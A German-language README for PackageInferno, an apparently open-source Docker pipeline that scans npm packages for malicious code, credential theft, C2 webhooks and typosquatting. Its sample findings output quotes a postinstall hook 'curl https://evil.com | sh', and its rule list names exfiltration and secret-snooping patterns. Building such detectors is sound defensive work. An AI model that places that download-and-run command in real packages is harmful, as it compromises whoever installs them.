
Ein öffentlicher Paketscanner für die Community
Blitzschnell einfacher, Docker-zentrierter npm-Lieferkettenscanner. Eine Compose-Datei führt Folgendes aus:
Dies ist die Container-Only-Edition. Das Projekt kann mithilfe von EC2, SQS und RDS skalierbar aufgebaut werden. Der größte Teil davon ist im Toolset dafür vorbereitet.
scan.yml (Allowlists, Schwellenwerte, YARA)scan_runs) einsatzbereit~/.aws)docker-compose.yml – Dienste: db, enumerator, fetcher, analyzer, dashboard, init-dbenumerator/ – Node-Worker, der die NDJSON-Warteschlange erstelltfetcher/ – Node-Worker, der Tarballs herunterlädt (+ Upload zu S3, falls aktiviert)analyzer/ – Python-Statik-Analyzer (+ optionales YARA inline)dashboard/ – Streamlit-App (Port 8501)infra/migrations.sql – Kern-DB-Schema (packages, versions, findings, scores, indexes)infra/20251106_scan_runs.sql – Scanverlaufstabellescan.yml – Analysekonfiguration (Regeln, Bewertung, Allowlists, YARA)scripts/run_pipeline.sh – enumerate → fetch → analyze ausführenscripts/init_db.sh – DB-Schema bootenscripts/test_setup.sh – automatische Setup-ValidierungVoraussetzungen: Docker Desktop (oder Engine) mit Compose v2.
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
Dies klont das Repository in ~/package-inferno und gibt Ihnen Anweisungen für den Start.
Vorgefertigte Container aus der GitHub Container Registry ziehen und ausführen:
# Repository klonen (für Konfigurationsdateien und Skripte)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Mit vorgefertigten Images ausführen
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
Verfügbare Images:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainFühren Sie das Testskript aus, um Ihre Installation zu validieren:
./scripts/test_setup.sh
Dies wird:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# öffnen Sie http://localhost:8501
Ergebnisse landen unter ./out/findings/*.findings.json und in der Tabelle findings, wenn die DB aktiviert ist.
PackageInferno unterstützt mehrere Scanstrategien, abhängig von Ihren Zielen:
Zielen Sie auf bestimmte Pakete ab, die Sie analysieren möchten:
# Einzelner Befehl mit Seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# Oder aus einer Datei
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
Wie ich anfangs getestet habe: Verwendet SEEDS="is-odd,is-even" zur schnellen Validierung.
Pakete seitenweise aus dem npm-Registry scannen:
# Vorherige Läufe bereinigen
rm -rf downloads/* out/*
# 2 Seiten mit je 10 Paketen scannen (20 Pakete)
export MAX_CHUNKS=2 # Anzahl der Seiten
export CHUNK_LIMIT=10 # Pakete pro Seite
unset SEEDS # Wichtig: Seeds-Modus deaktivieren
# Einzelne Schritte für bessere Übersicht ausführen
docker compose run --rm enumerator # Entdeckt und reiht ein
docker compose run --rm fetcher # Lädt Tarballs herunter
docker compose run --rm analyzer # Scannt nach Bedrohungen
Beispielausgabe:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
Das gesamte npm-Registry scannen:
export MAX_CHUNKS=0 # 0 = unbegrenzt
export CHUNK_LIMIT=100 # Größere Stapel für Effizienz
./scripts/run_pipeline.sh
Warnung: Dies wird Stunden/Tage laufen und Hunderttausende von Paketen scannen. Überwachen Sie den Festplattenspeicher und die Datenbankgröße.
Der Enumerator speichert den Zustand in ./out/enumerator_state.json mit Cursorposition:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
Führen Sie einfach die Pipeline erneut aus, und sie wird ab dem letzten Cursor fortgesetzt:
./scripts/run_pipeline.sh # Wird automatisch fortgesetzt
Um einen neuen Scan zu erzwingen:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
Von einem 2-seitigen Scan von 22 Paketen zeigt PackageInferno Folgendes:
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Results:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
Was machte rendition so verdächtig?
url_outside_allowlist – Nicht in der Allowlist enthaltene Domainssuspicious_pattern – Shell/eval-Musteradvanced_obfuscation – Hex-Kodierung, XOR, String-Arraysbig_base64_blob – Große kodierte Payloadsurl_in_code – Eingebettete URLsDas Bewertungssystem (konfiguriert in scan.yml) aggregiert diese Ergebnisse, um einen Risikoscore und ein Label (clean, suspicious oder malicious) zu erzeugen.
Öffnen Sie http://localhost:8501 nach dem Ausführen von docker compose up -d dashboard
Features:
Direkter SQL-Zugriff für benutzerdefinierte Analysen:
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno
Nützliche Abfragen:
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Typosquatting attempts
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
Ergebnisse werden auch als strukturiertes JSON in ./out/findings/ gespeichert:
# View findings for a specific package
cat out/findings/[email protected] | jq .
# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
Wenn Sie Artefakte in S3 haben möchten:
package-inferno-tarballs (rohe npm-Tarballs)package-inferno-findings (Analyzer-Ausgaben)~/.aws gültige Anmeldeinformationen enthält (profil- oder umgebungsbasiert).export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # optional; oder auf Umgebungs-Creds verlassen
Der Compose mountet ~/.aws in fetcher und analyzer. Wenn LOCAL_ONLY=false, lädt der fetcher Tarballs in S3_TARBALLS hoch. Wenn S3_FINDINGS gesetzt ist, lädt der analyzer das Findings-JSON nach dem lokalen Schreiben hoch.
Beispiel für eine minimale IAM-Richtlinie (an den Benutzer/die Rolle anhängen, die Sie verwenden):
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
Die wichtigsten Einstellungen befinden sich in scan.yml. Highlights:
analysis.allow_domains – Domains, die keinen „outside allowlist“-Fehler auslösenanalysis.allowlist.build_tools – Regexes für harmlose Build-Schritteanalysis.yara.* – Inline-YARA aktivieren (standardmäßig an), Regelpfad, Größen-/Zeitbeschränkungenscoring.rule_weights und scoring.thresholds – „suspicious/malicious“ anpassenContainer-Umgebungen, die Sie setzen können:
DAYS (Standard 30), CHUNK_LIMIT (Standard 100), MAX_CHUNKS (Standard 5)SEEDS, SEEDS_FILE – Seed-PaketnamenLOCAL_ONLY=true (Warteschlange in Datei), DB_URL für Deduplizierung gegen DBLOCAL_ONLY=false zum Hochladen von Tarballs in S3S3_TARBALLS, AWS_REGION, AWS_PROFILEMAX_EXTRACT_BYTES=0 für unbegrenzte ExtraktionS3_FINDINGS, Die DB-URL ist für lokales Compose vorkonfiguriert:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson (und kann "queued"-Versionen in die DB upserten)../downloads herunter und lädt sie in S3 hoch, falls konfiguriert../out/findings. Wenn die DB konfiguriert ist, werden Ergebnisse und Scores geupsert.enumerator/src/enumerator.js)Zweck: Entdeckt zu scannende npm-Pakete und erstellt die Arbeitswarteschlange.
Was es tut:
SEEDS oder SEEDS_FILE_changes-Endpunkt auf aktuelle Updates_all_docs-Endpunkt (mit fortsetzbarem Cursor)./out/fetch_queue.ndjson oder SQS ausWichtige Umgebungsvariablen:
SEEDS="pkg1,pkg2" - Kommagetrennte Paketnamen zum ScannenSEEDS_FILE - Pfad zu einer Textdatei mit einem Paket pro ZeileMAX_CHUNKS=5 - Seitendurchlauf begrenzen (0 = unbegrenzt)CHUNK_LIMIT=100 - Pakete pro API-SeiteDB_URL - Postgres-Verbindung zur DeduplizierungBeispielverwendung:
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)Zweck: Lädt npm-Tarballs aus dem Registry herunter.
Was es tut:
./out/fetch_queue.ndjson (oder SQS)./downloads/ als [email protected]S3_TARBALLS) hochWichtige Umgebungsvariablen:
LOCAL_ONLY=true - S3-Uploads überspringen (nur-lokal-Modus)S3_TARBALLS - S3-Bucket-Name für Tarball-SpeicherDOWNLOAD_DIR=./downloads - Lokales AusgabeverzeichnisMAX_RETRIES=5 - HTTP-WiederholungsversucheS3-Schlüsselformat: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)Zweck: Statische Analyse-Engine, die bösartige Muster in Paketen erkennt.
Was es tut:
package.json auf Metadaten und Lifecycle-Hooksscan.yml./out/findings/ und führt Upsert in die DB durchErkennungsregeln (siehe analyzer/src/analyzer.py für die vollständige Liste):
lifecycle_script – Riskante Install/Postinstall-Hooksurl_outside_allowlist – Netzwerkaufrufe an nicht erlaubte Domainsc2_webhook – Bekannte Exfil-Endpunkte (Discord, Slack, Telegram)env_snoop – Zugriff auf AWS-Schlüssel, Tokens, Passwörterwrites_outside_pkg – FS-Schreibvorgänge in .ssh, .npmrc, Systemverzeichnissetyposquat_detected – Paketname ähnlich zu bekannten Paketenadvanced_obfuscation – Hex, XOR, String-Arrays, Kontrollflussabflachungyara_match – YARA-Regeltreffer (Malware, Exploits, Webshells)phishing_form – Formulare zum Abgreifen von Anmeldeinformationennative_binary_present – PE/ELF/Mach-O ausführbare DateienWichtige Umgebungsvariablen:
MAX_EXTRACT_BYTES=0 – Extraktionsgrößenlimit (0 = unbegrenzt)SCAN_YML=/app/scan.yml – Pfad zur KonfigurationsdateiDB_URL – Postgres-Verbindung zur Speicherung von ErgebnissenS3_FINDINGS – S3-Bucket für Ergebnisse-UploadAusgabeformat (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "High-risk postinstall hook: shell_spawn, downloader"
}
}
]
}
1. Musterbasierte Erkennung (hinzufügen in analyzer/src/analyzer.py):
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... existing code ...
# Your custom check
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detected dangerous-function call'
}
})
return out
2. Bewertungsgewichte hinzufügen (scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # Your new rule
# ... existing rules ...
thresholds:
suspicious: 7
malicious: 12
3. Bewertungsfunktion aktualisieren (analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... existing rules ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... rest of function ...
1. Benutzerdefinierte Regeldatei erstellen (yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detects custom threat pattern"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. scan.yml aktualisieren:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Point to your rules
max_file_size_mb: 10
timeout_seconds: 30
3. Benutzerdefinierte Regeln in docker-compose.yml mounten:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
Vertrauenswürdige Domains in scan.yml hinzufügen, um falsch positive Ergebnisse zu reduzieren:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # Add your domain
Erlaube legitime Build-Befehle in der Allowlist:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db ausgeführt wird, und führen Sie dann ./scripts/init_db.sh erneut aus.~/.aws/credentials, AWS_REGION und die Bucket-Richtlinie/-Berechtigungen.scan.yml (analysis.yara.enabled: false).CHUNK_LIMIT senken oder MAX_CHUNKS schrittweise erhöhen.SCANNING_GUIDE.md| Modus | Anwendungsfall | Geschwindigkeit | Abdeckung | Befehl |
|---|
| Spezifische Seeds | Bekannte Pakete testen/untersuchen | Am schnellsten | Gezielt | SEEDS="pkg1,pkg2" |
| Kleine Stichprobe | Setup validieren, Beispielscan | Schnell | 10-100 Pakete | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| Vollständiges Registry | Umfassende Lieferkettenprüfung | Stunden-Tage | 2M+ Pakete | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| Änderungs-Feed | Neue Veröffentlichungen überwachen (automatisch enthalten) | Echtzeit | Aktuelle Updates | Eingebaut |
AWS_REGIONDB_URL zum Schreiben von Ergebnissen und Scores in Postgres